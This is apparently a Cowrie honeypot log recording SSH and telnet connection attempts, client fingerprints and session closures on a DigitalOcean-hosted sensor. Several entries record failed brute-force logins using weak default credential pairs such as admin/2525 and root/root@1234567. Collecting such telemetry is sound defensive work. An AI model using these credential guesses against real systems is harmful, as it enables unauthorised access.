{"eventid":"cowrie.login.failed","username":"admin","password":"2525","message":"login attempt [admin/2525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:34.832074Z","src_ip":"103.215.80.173","session":"2113e6beac46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:36.048115Z","src_ip":"103.215.80.173","session":"2113e6beac46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49618,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb10afb4bd8","protocol":"telnet","message":"New connection: 162.253.42.116:49618 (10.17.0.5:23) [session: 8fb10afb4bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:45.234249Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":34880,"dst_ip":"10.17.0.5","dst_port":23,"session":"760190b83605","protocol":"telnet","message":"New connection: 174.136.57.21:34880 (10.17.0.5:23) [session: 760190b83605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:45.747050Z"}
{"eventid":"cowrie.session.closed","duration":32.56931519508362,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:46.541881Z","src_ip":"104.248.46.74","session":"257d5e97590b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":45176,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7eda3f66303","protocol":"telnet","message":"New connection: 174.136.57.21:45176 (10.17.0.5:23) [session: a7eda3f66303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:00.434705Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44706,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b0f5087ef3","protocol":"ssh","message":"New connection: 159.203.92.129:44706 (159.203.135.109:22) [session: d3b0f5087ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:00.669589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:00.674863Z","src_ip":"159.203.92.129","session":"d3b0f5087ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:00.688386Z","src_ip":"159.203.92.129","session":"d3b0f5087ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amavis","password":"123456","message":"login attempt [amavis/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:00.721661Z","src_ip":"159.203.92.129","session":"d3b0f5087ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.30650472640991,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:01.261825Z","src_ip":"104.248.46.74","session":"a42f08341ad7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:01.824866Z","src_ip":"159.203.92.129","session":"d3b0f5087ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.33013272285461,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:04.602473Z","src_ip":"104.248.46.74","session":"5942d4650e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.578938484191895,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:13.004256Z","src_ip":"208.82.116.131","session":"332fb29ed15f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.29823684692383,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:14.704527Z","src_ip":"208.82.116.131","session":"c67777ea4fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":47178,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e317665f8b","protocol":"telnet","message":"New connection: 104.248.46.74:47178 (159.203.135.109:23) [session: 54e317665f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:16.815644Z"}
{"eventid":"cowrie.session.closed","duration":31.80453109741211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:17.551630Z","src_ip":"174.136.57.21","session":"760190b83605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.078588008880615,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:19.312702Z","src_ip":"162.253.42.116","session":"8fb10afb4bd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.148.20","src_port":52748,"dst_ip":"159.203.135.109","dst_port":23,"session":"83cf173eb1be","protocol":"telnet","message":"New connection: 172.105.148.20:52748 (159.203.135.109:23) [session: 83cf173eb1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:24.297832Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":52844,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5c85ffbbef","protocol":"ssh","message":"New connection: 45.78.194.242:52844 (10.17.0.5:22) [session: 9e5c85ffbbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:27.564591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:27.569345Z","src_ip":"45.78.194.242","session":"9e5c85ffbbef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:27.801131Z","src_ip":"45.78.194.242","session":"9e5c85ffbbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.87888193130493,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:33.313429Z","src_ip":"174.136.57.21","session":"a7eda3f66303","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234567","message":"login attempt [root/root@1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:36.139993Z","src_ip":"45.78.194.242","session":"9e5c85ffbbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:36.145152Z","src_ip":"45.78.194.242","session":"9e5c85ffbbef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":52522,"dst_ip":"159.203.135.109","dst_port":23,"session":"1efcaf2e59fd","protocol":"telnet","message":"New connection: 104.248.46.74:52522 (159.203.135.109:23) [session: 1efcaf2e59fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:44.056785Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40414,"dst_ip":"159.203.135.109","dst_port":22,"session":"2490fa0072f3","protocol":"ssh","message":"New connection: 159.203.92.129:40414 (159.203.135.109:22) [session: 2490fa0072f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:45.973477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:45.981654Z","src_ip":"159.203.92.129","session":"2490fa0072f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:45.988033Z","src_ip":"159.203.92.129","session":"2490fa0072f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amavis","password":"amavis","message":"login attempt [amavis/amavis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:46.014280Z","src_ip":"159.203.92.129","session":"2490fa0072f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:47.021273Z","src_ip":"159.203.92.129","session":"2490fa0072f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":36940,"dst_ip":"159.203.135.109","dst_port":23,"session":"781bfa8f61dd","protocol":"telnet","message":"New connection: 208.82.116.131:36940 (159.203.135.109:23) [session: 781bfa8f61dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:47.672255Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":36982,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf65c20c102f","protocol":"telnet","message":"New connection: 208.82.116.131:36982 (159.203.135.109:23) [session: bf65c20c102f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:47.774247Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":36998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8272b17b60","protocol":"telnet","message":"New connection: 208.82.116.131:36998 (159.203.135.109:23) [session: ab8272b17b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:47.807561Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":53362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceac8cf0dd09","protocol":"telnet","message":"New connection: 104.248.46.74:53362 (159.203.135.109:23) [session: ceac8cf0dd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:49.809479Z"}
{"eventid":"cowrie.session.closed","duration":33.11924600601196,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:49.934629Z","src_ip":"104.248.46.74","session":"54e317665f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":38310,"dst_ip":"159.203.135.109","dst_port":23,"session":"8473d9866e58","protocol":"telnet","message":"New connection: 208.82.116.131:38310 (159.203.135.109:23) [session: 8473d9866e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:51.506865Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":38324,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d6b05ab552b","protocol":"telnet","message":"New connection: 208.82.116.131:38324 (159.203.135.109:23) [session: 8d6b05ab552b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:51.529794Z"}
{"eventid":"cowrie.session.closed","duration":5.722459554672241,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:53.394610Z","src_ip":"208.82.116.131","session":"781bfa8f61dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.590919733047485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:55.888638Z","src_ip":"172.105.148.20","session":"83cf173eb1be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":50622,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5c59e37f92d","protocol":"telnet","message":"New connection: 176.65.149.254:50622 (10.17.0.5:23) [session: e5c59e37f92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:35:58.067055Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49318,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcb193f943cb","protocol":"telnet","message":"New connection: 162.253.42.116:49318 (10.17.0.5:23) [session: dcb193f943cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:01.832099Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52942,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd99d9059000","protocol":"telnet","message":"New connection: 162.253.42.116:52942 (10.17.0.5:23) [session: fd99d9059000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:02.026032Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53876,"dst_ip":"10.17.0.5","dst_port":23,"session":"1697b0d78755","protocol":"telnet","message":"New connection: 162.253.42.116:53876 (10.17.0.5:23) [session: 1697b0d78755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:05.829133Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":57220,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e6cf24775f2","protocol":"telnet","message":"New connection: 104.248.46.74:57220 (159.203.135.109:23) [session: 7e6cf24775f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:08.219384Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":58356,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4ca3be03d3","protocol":"telnet","message":"New connection: 104.248.46.74:58356 (159.203.135.109:23) [session: 3c4ca3be03d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:11.395432Z"}
{"eventid":"cowrie.session.closed","duration":32.20235347747803,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:16.258948Z","src_ip":"104.248.46.74","session":"1efcaf2e59fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":60300,"dst_ip":"159.203.135.109","dst_port":23,"session":"985a4923831f","protocol":"telnet","message":"New connection: 104.248.46.74:60300 (159.203.135.109:23) [session: 985a4923831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:19.018666Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":60600,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88499961a11","protocol":"telnet","message":"New connection: 104.248.46.74:60600 (159.203.135.109:23) [session: c88499961a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:20.100420Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":60838,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c57616eb9ba","protocol":"telnet","message":"New connection: 104.248.46.74:60838 (159.203.135.109:23) [session: 2c57616eb9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:22.079078Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":60688,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2af869e9a60","protocol":"telnet","message":"New connection: 104.248.46.74:60688 (159.203.135.109:23) [session: b2af869e9a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:23.401673Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":33308,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d81fb0d98d","protocol":"telnet","message":"New connection: 104.248.46.74:33308 (159.203.135.109:23) [session: 48d81fb0d98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:23.702780Z"}
{"eventid":"cowrie.session.closed","duration":37.08137798309326,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:26.890713Z","src_ip":"104.248.46.74","session":"ceac8cf0dd09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819945812225342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:28.886864Z","src_ip":"176.65.149.254","session":"e5c59e37f92d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38398,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dc12cb6f81e","protocol":"ssh","message":"New connection: 159.203.92.129:38398 (159.203.135.109:22) [session: 7dc12cb6f81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:30.076260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:30.086758Z","src_ip":"159.203.92.129","session":"7dc12cb6f81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:30.092120Z","src_ip":"159.203.92.129","session":"7dc12cb6f81e","protocol":"ssh"}
